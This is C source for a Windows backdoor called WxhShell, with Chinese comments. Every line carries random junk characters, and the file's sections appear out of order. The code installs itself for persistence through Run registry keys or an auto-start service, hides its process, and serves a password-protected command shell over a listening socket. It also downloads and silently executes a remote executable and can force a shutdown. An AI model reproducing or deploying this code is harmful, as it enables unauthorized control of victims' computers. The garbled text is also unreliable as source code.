    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SeZT4y*=  
    else { G E~(N N  
    closesocket(wsh); E2h;hr;W  
    ExitThread(0); WQLHjGehe  
    } t2 -nCRXEP  
    break; k`7.p,;}U  
    } zUEfa!#?  
  // 获取shell 4=F]`Lql  
  case 's': {  `\|3 ~_v  
    CmdShell(wsh); _/]:=_bf_z  
    closesocket(wsh); G\:psx/  
    ExitThread(0); M*~v'L_sI  
    break; H8<7#  
  } :&1=8^BY  
  // 退出 nA_ zP4  
  case 'x': { A D}}>v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 22Y!u00D  
    CloseIt(wsh);  lGnql1(  
    break; ,'1Olu{v[s  
    } a._^E/EV  
  // 离开 %$Jq t  
  case 'q': { V:(w\'wm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8`inRfpY  
    closesocket(wsh); CVGOX z  
    WSACleanup(); (| 36!-(iK  
    exit(1); X6Nm!od'  
    break; 5<)gCHa  
        } x^#6>oOR  
  } (w#slTFT  
  } 5y[b8mur  
"x.6W!  
  // 提示信息 C{`^9J-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2iR:*}5  
} tJ h3$K\  
  } wHt#'`5  
uzVG q!'H  
  return; I_zk'  
} {+/ .5  
!rsa4t@ t  
// shell模块句柄 |?2 hml  
int CmdShell(SOCKET sock) i!.I;@  
{ Wlr&g xZ  
STARTUPINFO si; h=K36a)  
ZeroMemory(&si,sizeof(si)); e\^g|60f_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w]W`R.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PzMlua  
PROCESS_INFORMATION ProcessInfo; u8<&F`7j  
char cmdline[]="cmd"; ;* wT,2;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <*A|pns  
  return 0; n?ZL"!$  
} o%/-5-  
]{Mci]H6T  
// 自身启动模式 <uBhi4  
int StartFromService(void) Y0Hq+7x  
{ C>Omng1>^  
typedef struct 2xL!PR-  
{ :_o] F  
  DWORD ExitStatus; _uO!N(k.  
  DWORD PebBaseAddress; B8cBQv  
  DWORD AffinityMask; )]c]el@y  
  DWORD BasePriority; LXh@o1  
  ULONG UniqueProcessId; KJ0xp h f  
  ULONG InheritedFromUniqueProcessId; (^DLCP#*  
}   PROCESS_BASIC_INFORMATION; WA]%,6  
g+>=C   
PROCNTQSIP NtQueryInformationProcess; ;gxN@%}@  
xZ.~:V03\t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W9&0k+#^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 93E,  
7]/dg*A )C  
  HANDLE             hProcess; K9e~Wl<3  
  PROCESS_BASIC_INFORMATION pbi; (C-,ljY  
DD12pL{QA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zz(!t eBC  
  if(NULL == hInst ) return 0; ;NiArcAS!  
W"b&M%y|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QMXD9H0{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O8K@&V p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wMH[QYb<*  
Ss@u,`pr  
  if (!NtQueryInformationProcess) return 0; Xmap9x  
;Pol#0_(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E3 ~,+68U  
  if(!hProcess) return 0; N_u&3CG  
Kcscz,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %sOWg.0_  
5u2{n rc  
  CloseHandle(hProcess); XKz;o^1a^  
)z2|"Lp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5y1or  
if(hProcess==NULL) return 0; kq)+@p  
&\;<t, 3A~  
HMODULE hMod; [,OJX N-4s  
char procName[255]; ^l Hb&\X  
unsigned long cbNeeded; wF|0n t  
Yw$a{5g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,N;))3  
'i@,~[Z4  
  CloseHandle(hProcess); zW*}`S "  
vKcl6bVT  
if(strstr(procName,"services")) return 1; // 以服务启动 |A ;o0pL  
OOEV-=  
  return 0; // 注册表启动 v-P8WFjca  
} 89LpklD  
]]el|  
// 主模块 E S#rs="  
int StartWxhshell(LPSTR lpCmdLine) $x?NNS_ "J  
{ :7 qqjs  
  SOCKET wsl; AuoxZ?V  
BOOL val=TRUE; kP7a:(P_g  
  int port=0; Z} c'Bm(  
  struct sockaddr_in door; _LJ5o_-N  
Hu<p?mF#  
  if(wscfg.ws_autoins) Install(); W[@i;f^g  
,/i_QgP  
port=atoi(lpCmdLine); k/df(cs  
:=rA Yc3]  
if(port<=0) port=wscfg.ws_port; FJO"|||Y'|  
r8IX/ ,  
  WSADATA data; oS~}TR:}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X Y~;)<s_  
.qSBh hH\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "Kyifw?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /nc~T3j  
  door.sin_family = AF_INET; {*N^C@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .4wTjbO6  
  door.sin_port = htons(port); fJX\'Rc\  
+IG1IF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }KK2WJp#M  
closesocket(wsl); sT)6nV  
return 1; ,VAp>x+O  
} N*~_\x  
>Y}7[XK  
  if(listen(wsl,2) == INVALID_SOCKET) { UQ5BH%EPb  
closesocket(wsl); C1V# ?03eI  
return 1; !tI=`Ml[  
} 3DH.4@7P  
  Wxhshell(wsl); pss6Oz8  
  WSACleanup(); _)Qy4[S=d  
, Hn7(^t  
return 0;  VJ3hC[  
$Z/klSEf  
} hF2/ y.:P  
Yy]T J  
// 以NT服务方式启动 :v`o6x8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K>kLUcC7Z  
{ _WKJ<dB<  
DWORD   status = 0; !/947Rn  
  DWORD   specificError = 0xfffffff; , 7Xqte  
xS"$g9o0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5|{)Z]M%9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !L77y^oV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,~- ?l7  
  serviceStatus.dwWin32ExitCode     = 0; v51EXf  
  serviceStatus.dwServiceSpecificExitCode = 0; U| 8[#@r  
  serviceStatus.dwCheckPoint       = 0; So#dJ>   
  serviceStatus.dwWaitHint       = 0; iSlFRv?a  
o w2$o\hC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =HMmrmz:  
  if (hServiceStatusHandle==0) return; gC`)]*'tE  
Tj`yJ!0  
status = GetLastError(); ^\:yf.k  
  if (status!=NO_ERROR) a'uU,Eb}#w  
{ 6)ycmu;!$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N0Gf0i>  
    serviceStatus.dwCheckPoint       = 0; z!:'V]  
    serviceStatus.dwWaitHint       = 0; y?>#t^  
    serviceStatus.dwWin32ExitCode     = status; 27>a#vCT  
    serviceStatus.dwServiceSpecificExitCode = specificError; va5FxF*%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _F izgs  
    return; \83sSw  
  } a"QU:<-v  
=O,JAR"ug  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R*yU<9Mm8  
  serviceStatus.dwCheckPoint       = 0; hY+R'9  
  serviceStatus.dwWaitHint       = 0; _9NVE|c;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ET)>#zp+s  
} a+41Ojv (  
.jU Z  
// 处理NT服务事件,比如:启动、停止 "<*awWNI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -u|l}}bh  
{ -l "U"U"F  
switch(fdwControl) 0O~p7D  
{ M/{g(|{  
case SERVICE_CONTROL_STOP: A:eG5K}  
  serviceStatus.dwWin32ExitCode = 0; _R7 w?!t8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J3G7zu8  
  serviceStatus.dwCheckPoint   = 0; _UkmYZ/  
  serviceStatus.dwWaitHint     = 0; ) r9b:c\  
  { o 7G> y#Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uUG*0Lj  
  } !9r:&n.\  
  return; oEu>}JD  
case SERVICE_CONTROL_PAUSE: h>wcT VF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2zK"*7b?  
  break; &x0C4Kh  
case SERVICE_CONTROL_CONTINUE: f7J,&<<5w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S$e Dnw~$  
  break; u g\w\b  
case SERVICE_CONTROL_INTERROGATE: Kd3QqVJBz1  
  break; :Q_x/+-  
}; {B0h+. C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JRO$<  
} pUCK-rL  
1zjaR4Tf  
// 标准应用程序主函数 Ax!Gu$K2o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kZVm1W1  
{ z/1{OL  
EA|k5W*b  
// 获取操作系统版本 (R'+jWH  
OsIsNt=GetOsVer(); Fk1.iRVzi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |;u}sX1t9  
s-k_d<  
  // 从命令行安装 z<pJYpxH  
  if(strpbrk(lpCmdLine,"iI")) Install(); \cQ .|S  
R#(G%66   
  // 下载执行文件 4DLq}v  
if(wscfg.ws_downexe) { zX kx7d8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sdd9Dv?!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3]U]?h  
} by86zX  
1$ML#5+,  
if(!OsIsNt) { mJC3@V s  
// 如果时win9x,隐藏进程并且设置为注册表启动 PJgp+u<  
HideProc(); #U=;T]!'$  
StartWxhshell(lpCmdLine); \t3qS eWc/  
} * OsU Y=;  
else o>c ^aRZ{  
  if(StartFromService()) #SkX@sl@  
  // 以服务方式启动 8g*hvPc  
  StartServiceCtrlDispatcher(DispatchTable); *7" L]6  
else 4_LQ?U>$  
  // 普通方式启动 #Qbl=o4  
  StartWxhshell(lpCmdLine); '#Dg8/r!  
4/*H.Fl  
return 0; YQgNv` l}  
} ],lV}Mlg*  
|d7$*7TvV  
}+R B=#~o  
6)e5zKW!?  
=========================================== ?znSx}t  
`cr(wdvI  
[pgZbOIN37  
]hE="z=n  
4nkE IZ  
v27Ja .tA  
" 7@~tVxB;  
R1ktj  
#include <stdio.h> fS A)G$b]  
#include <string.h> nl1-kB)$e|  
#include <windows.h> 61_f3S(u  
#include <winsock2.h> Vq ^]s $'  
#include <winsvc.h> !gP0ndRJ=  
#include <urlmon.h> Yck~xt&]  
q\$6F)ha3  
#pragma comment (lib, "Ws2_32.lib") cxP6-tV%  
#pragma comment (lib, "urlmon.lib") c ~F dx  
naNyGE7)  
#define MAX_USER   100 // 最大客户端连接数 TJy4<rb  
#define BUF_SOCK   200 // sock buffer }$g mK  
#define KEY_BUFF   255 // 输入 buffer M>l^%`  
R,Oe$J<  
#define REBOOT     0   // 重启 {6 .o=EyM{  
#define SHUTDOWN   1   // 关机 Ec]|p6a3  
x<B'.3y  
#define DEF_PORT   5000 // 监听端口 ~}%~oT  
?m;;D'1j  
#define REG_LEN     16   // 注册表键长度 RuAlB*  
#define SVC_LEN     80   // NT服务名长度 Kt/)pc  
nr\q7  
// 从dll定义API l@~LV}BI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3HiFISA*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .mxTfP=9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xiM&$<LpR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G&9#*<F$c  
cd.brM  
// wxhshell配置信息 .%xzT J=!  
struct WSCFG { Hs0pW5oZ  
  int ws_port;         // 监听端口 >q7 %UK]&  
  char ws_passstr[REG_LEN]; // 口令 68t}w^=  
  int ws_autoins;       // 安装标记, 1=yes 0=no c-CYdi@  
  char ws_regname[REG_LEN]; // 注册表键名 H{fM%*w  
  char ws_svcname[REG_LEN]; // 服务名 Y=B3q8l5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fA^Em)cs2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "="O >  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n:#TOU1ix<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F0dI/+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3$p#;a:=n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *l>0t]5YH  
i~yX tya  
}; (#Mp 5C'X  
eD;6okdP  
// default Wxhshell configuration }e{qW  
struct WSCFG wscfg={DEF_PORT, 8^yJqAXK  
    "xuhuanlingzhe", Un@\kAY  
    1, "{BqtU*.  
    "Wxhshell", xJ(:m<z  
    "Wxhshell", R>)MiHcCg  
            "WxhShell Service", 3 <SqoJSp  
    "Wrsky Windows CmdShell Service", y] V1b{9p  
    "Please Input Your Password: ", 'K@0Wp  
  1, _sMs}?^  
  "http://www.wrsky.com/wxhshell.exe", r%=[},JQ  
  "Wxhshell.exe" _p}xZD\?,  
    }; zFhgE*5  
KSqTY>%fnv  
// 消息定义模块 2(#Ks's?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Dy9\O77>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <8o(CA\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :nGMtF  
char *msg_ws_ext="\n\rExit."; \e:d)^cbh  
char *msg_ws_end="\n\rQuit."; ;j} yB  
char *msg_ws_boot="\n\rReboot..."; >-cfZ9{!  
char *msg_ws_poff="\n\rShutdown..."; f~M8A.  
char *msg_ws_down="\n\rSave to ";  '3 ,\@4  
Ex(3D[WmMW  
char *msg_ws_err="\n\rErr!"; \M+L3*W  
char *msg_ws_ok="\n\rOK!"; 'fW#7W  
Ka-p& Uv1<  
char ExeFile[MAX_PATH]; `~F5 wh~  
int nUser = 0; Plo,XU  
HANDLE handles[MAX_USER]; $aP(|!g  
int OsIsNt; 4\2V9F{s  
|!*Xl) ]  
SERVICE_STATUS       serviceStatus; ^PqF<d6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +V8b  
<$Yi]ty  
// 函数声明 f} K`Jm_}?  
int Install(void); l I-p_K  
int Uninstall(void); =xl~][  
int DownloadFile(char *sURL, SOCKET wsh); =nxKttmU0  
int Boot(int flag); tJD] (F  
void HideProc(void); *i%quMv  
int GetOsVer(void); Jh@_9/?  
int Wxhshell(SOCKET wsl); tS?lB05TOR  
void TalkWithClient(void *cs); 5vOCCW  
int CmdShell(SOCKET sock); }STYG`  
int StartFromService(void); ST',4 Oph5  
int StartWxhshell(LPSTR lpCmdLine); $& {IKP)u  
80hme+e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y94MI1O5$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H%i>L?J2/  
yI8tH!  
// 数据结构和表定义 Oh!(@  
SERVICE_TABLE_ENTRY DispatchTable[] = iS: #o>  
{ P%>?[9!Nt  
{wscfg.ws_svcname, NTServiceMain}, v,1F-- v  
{NULL, NULL} $ |<m9CW  
}; CjZ2z%||=  
rY}B-6qJn  
// 自我安装 f`P9ku#j}  
int Install(void) Qi=*1QAkr  
{ p^QZq>v  
  char svExeFile[MAX_PATH]; W |UtY`1  
  HKEY key; D<):ZfUbI  
  strcpy(svExeFile,ExeFile); shFc[A,r}  
Q:o 7G|C  
// 如果是win9x系统,修改注册表设为自启动 c@du2ICUc  
if(!OsIsNt) { 3N4.$#>#9@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cyF4iG'M,y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $kz!zjC'  
  RegCloseKey(key); _<Dt z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (JZ".En#X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zhi})d3l  
  RegCloseKey(key); U}AX0*S  
  return 0; WH$HI/%*m  
    } %$mjJw<|&  
  } kBsXfVs9  
} nX5C< Ky  
else { v5$s#f<   
x>3@R0A 1:  
// 如果是NT以上系统,安装为系统服务 ")`S0n5e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wK*PD&nN  
if (schSCManager!=0) oY3>UZ5\  
{ |f' 8p8J  
  SC_HANDLE schService = CreateService sdr.u  
  ( Xr_pgW|  
  schSCManager, +_mr  
  wscfg.ws_svcname, rla:<6tt  
  wscfg.ws_svcdisp, XAD3Z?  
  SERVICE_ALL_ACCESS, la, h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9([6d.`~  
  SERVICE_AUTO_START, nX[;^v/  
  SERVICE_ERROR_NORMAL, ZK dh%8C  
  svExeFile, Sb"2Im>  
  NULL, &Ocu#Cb  
  NULL, J!p<oW)a!  
  NULL, x ^vt; $  
  NULL, <r\I"z$  
  NULL p:[LnL  
  ); DeQDH5X"  
  if (schService!=0) !v>ew9  
  { dgc&[  
  CloseServiceHandle(schService); T33|';k  
  CloseServiceHandle(schSCManager); !nw [  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YoSQN/Z  
  strcat(svExeFile,wscfg.ws_svcname); @ss):FwA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +R\~3uj[7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m|4LbWz  
  RegCloseKey(key); Tg''1 Wl*  
  return 0; jnBC;I[:  
    } f=_g8+}h  
  } {LB`)Kuu  
  CloseServiceHandle(schSCManager); rsxRk7s@  
} z7=fDe -  
} >t #\&|9I  
p;->hn~D'5  
return 1; 0dt"ZSm  
} >oY^Gx  
dR[o|r  
// 自我卸载 ^k72{ 3N(  
int Uninstall(void) 'JZ_  
{ QJXdb]Y^;  
  HKEY key; 8/q*o>[?  
O@,i1ha%  
if(!OsIsNt) { !S,pRS+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z_itu73I  
  RegDeleteValue(key,wscfg.ws_regname); wn84?$BGd  
  RegCloseKey(key); e,Zv]Cym  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hqW$k w  
  RegDeleteValue(key,wscfg.ws_regname); 'NjSu64W  
  RegCloseKey(key); rPTfpeqN)  
  return 0; 0yQe5i}  
  } g i4  
} (02g#A`  
} E fSMFPM  
else { Oz>io\P94  
</ZHa:=7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9dYOH)f  
if (schSCManager!=0) 3B#!2|  
{ 0/Q5d,'Y[2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'j#a%j@{  
  if (schService!=0) \+]O*Bm&`8  
  { [V5-%w^  
  if(DeleteService(schService)!=0) { CWMlZ VG  
  CloseServiceHandle(schService); ~@fanR =  
  CloseServiceHandle(schSCManager); vKkf2 7  
  return 0; :?#cDyW)  
  } L>:FGNf^H  
  CloseServiceHandle(schService); sT1j F3  
  } "m>};.lj  
  CloseServiceHandle(schSCManager); Sf/W9Jw  
} \e0x ,2  
} _IKQ36=  
H%T3Pc  
return 1; )"~=7)~<^  
} K#)bjxz  
va+m9R0  
// 从指定url下载文件 =n)#!i  
int DownloadFile(char *sURL, SOCKET wsh) rgn|24x  
{ h7RD `k:mF  
  HRESULT hr; P^;WB*V  
char seps[]= "/"; S41)l!+2  
char *token; f#c BQ~  
char *file; =U_ @zDD@V  
char myURL[MAX_PATH]; B>aEH b  
char myFILE[MAX_PATH]; HnK/A0jM  
dw99FA6  
strcpy(myURL,sURL); !Iko0#4i  
  token=strtok(myURL,seps);  p1?J  
  while(token!=NULL) a;yV#Y  
  { auoA   
    file=token; L]NYYP-  
  token=strtok(NULL,seps); d-i&k(M  
  } |{!Ns+'  
o HRbAE^  
GetCurrentDirectory(MAX_PATH,myFILE); WiwwCKjSa  
strcat(myFILE, "\\"); i*b4uHna  
strcat(myFILE, file); SmvwhX  
  send(wsh,myFILE,strlen(myFILE),0); 10TSc j  
send(wsh,"...",3,0); bY&YSlO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v6(,Ax&  
  if(hr==S_OK) ^EUQ449<p  
return 0; ^ CX,nj_(  
else rZ 6@b  
return 1; jaNH](V  
'[xut1{  
} {cX7<7N  
B8>FCF&}E  
// 系统电源模块 2nYiG)tg  
int Boot(int flag) roL]v\tr  
{ GdL4|xv  
  HANDLE hToken; 3XBp6`  
  TOKEN_PRIVILEGES tkp; GMt)}Hz  
7TR' zW2W  
  if(OsIsNt) { Ic_tc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eKS:7:X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f`bIQ9R  
    tkp.PrivilegeCount = 1; ap{{(y&R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tTE3H_   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wfWS-pQ  
if(flag==REBOOT) { vLD:(qTi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >02i8:Tp5K  
  return 0; Mj,2\ijNM  
} e4?<GT   
else { ?WMi S]Q\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _4!7 zW^  
  return 0; O]4W|WI3  
} #SK#k<&P  
  } U8U/?zW/&  
  else { #{?m  
if(flag==REBOOT) { R|6RI}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i"ck`6v"8  
  return 0; >^sz5d+X  
} aB7d(  
else { _TV2)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U8Cw7u2  
  return 0; pC55Ec<  
} lxr@[VQ  
} rZb_1E<  
l6yB_ M  
return 1; `W D*Q-&n  
} 8rnb  
lS>=y#i3Xv  
// win9x进程隐藏模块 *yL|}  
void HideProc(void) IZzhJK M1V  
{ wV]sGHuF}  
hVROzGZk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k?z [hZg0  
  if ( hKernel != NULL ) X*43!\  
  { /QM0.{Ypl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8Q#t\$RY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n">?LN-DC  
    FreeLibrary(hKernel); bEEJVF0  
  } g%Th_=qy  
qT&S  
return; _ +0uju?o}  
} xF2f/y   
"`y W]v  
// 获取操作系统版本  m,xy4  
int GetOsVer(void) *S,v$ VX  
{ pQ4 %]Api  
  OSVERSIONINFO winfo; x)%% 5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QYFN:XZ  
  GetVersionEx(&winfo); *8pe<:A#p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =k[(rvU3  
  return 1; ]Hv*^Bak  
  else ])3lH%4-  
  return 0; _.oRVYK /  
} &h_d|8  
9}? 5p]%  
// 客户端句柄模块 UEx(~>  
int Wxhshell(SOCKET wsl) \1eKY^)2  
{ 5)/4)0  
  SOCKET wsh; c"oQ/x  
  struct sockaddr_in client; ]l9,t5Y  
  DWORD myID; s\F EA"w/  
z+5u/t  
  while(nUser<MAX_USER) bw<~R2[  
{ LRfFn^FPM  
  int nSize=sizeof(client); UU;Y sj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y2ah zB  
  if(wsh==INVALID_SOCKET) return 1; Q&:92f\y  
?eY chVq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eB}sg4  
if(handles[nUser]==0) m bB\~n  
  closesocket(wsh); l7=$4As/hI  
else oj,Vi-TZ  
  nUser++; -wG[>Y  
  } \&l*e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xKkVSEup  
6c;?`C  
  return 0; 'T #<OR  
} (STWAwK-  
g&5pfrC [  
// 关闭 socket p~k`Z^ xY$  
void CloseIt(SOCKET wsh) hx2!YNx !  
{ Wr}a\}R  
closesocket(wsh); &?uzJx~  
nUser--; s\n,Z?m  
ExitThread(0); yE!7`c.[u  
} b ?=  
gFH;bZU  
// 客户端请求句柄 q%)*,I<  
void TalkWithClient(void *cs) =~(LJPo6  
{ #o}{cXX#  
XO8 H]  
  SOCKET wsh=(SOCKET)cs; "pKGUM  
  char pwd[SVC_LEN]; "' i [~  
  char cmd[KEY_BUFF]; UJyiRP:#]>  
char chr[1]; d}^ :E  
int i,j; cl9;2D"Zm!  
S^sW.(I  
  while (nUser < MAX_USER) { @)!1#^(}%  
6A{s%v H  
if(wscfg.ws_passstr) { ^LQ lfd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  nd*!`P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NnSI)*%'  
  //ZeroMemory(pwd,KEY_BUFF); !x!L&p  
      i=0; RQ$o'U9A  
  while(i<SVC_LEN) { 83O^e&Bt  
rym\5 `)  
  // 设置超时 J{'zkR?Lr  
  fd_set FdRead; NVM2\fs  
  struct timeval TimeOut; E6KBpQcd[  
  FD_ZERO(&FdRead); &VBD2_T  
  FD_SET(wsh,&FdRead); Y9c9/_CSj  
  TimeOut.tv_sec=8; IWbp^l+!t  
  TimeOut.tv_usec=0; u/c~PxC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y<gYf -E+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c)P%O  
e"&9G}.f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]|\>O5eeu  
  pwd=chr[0]; ct4)faM  
  if(chr[0]==0xd || chr[0]==0xa) { /`]|_>'  
  pwd=0; &@.=)4Y  
  break; n4 6PQm%p  
  } .4m3@!qo)E  
  i++; )]e d;V  
    } ]oZ,{Q5~  
&>^Ympr  
  // 如果是非法用户,关闭 socket 8"I5v(TV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (;S]{z%  
} +^% &8<  
1'._SMP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *Uw#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5]O LV1Xt  
T>:g ME  
while(1) { =v#A&IPA'  
J$=b&$I(  
  ZeroMemory(cmd,KEY_BUFF); SoON@h/  
/3:IE%o  
      // 自动支持客户端 telnet标准   YdL1(|EdM  
  j=0; ."@a1_F|  
  while(j<KEY_BUFF) { Y_iF$ m/R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e+[J[<8  
  cmd[j]=chr[0]; A.cZa  
  if(chr[0]==0xa || chr[0]==0xd) { z_iyuLRdb  
  cmd[j]=0; :^.87>V7  
  break; j$i8@]  
  } HFCFEamBMP  
  j++; FYE9&{]h  
    } !z6/.>QJ~  
Jj _+YfIM  
  // 下载文件 LRlk9:QD>  
  if(strstr(cmd,"http://")) { ^V;lZtZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ng)yCa_Ny  
  if(DownloadFile(cmd,wsh)) [g 68O*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K#pt8Q  
  else $TW+LWb   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )( jNd&H  
  } RBojT   
  else { vBQ?S2f  
yDBgSO{d  
    switch(cmd[0]) { u2Z^iY  
  :s5<AT Q  
  // 帮助 /P:WQ*  
  case '?': { Ku\#Wj|YrP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J+*Y)k  
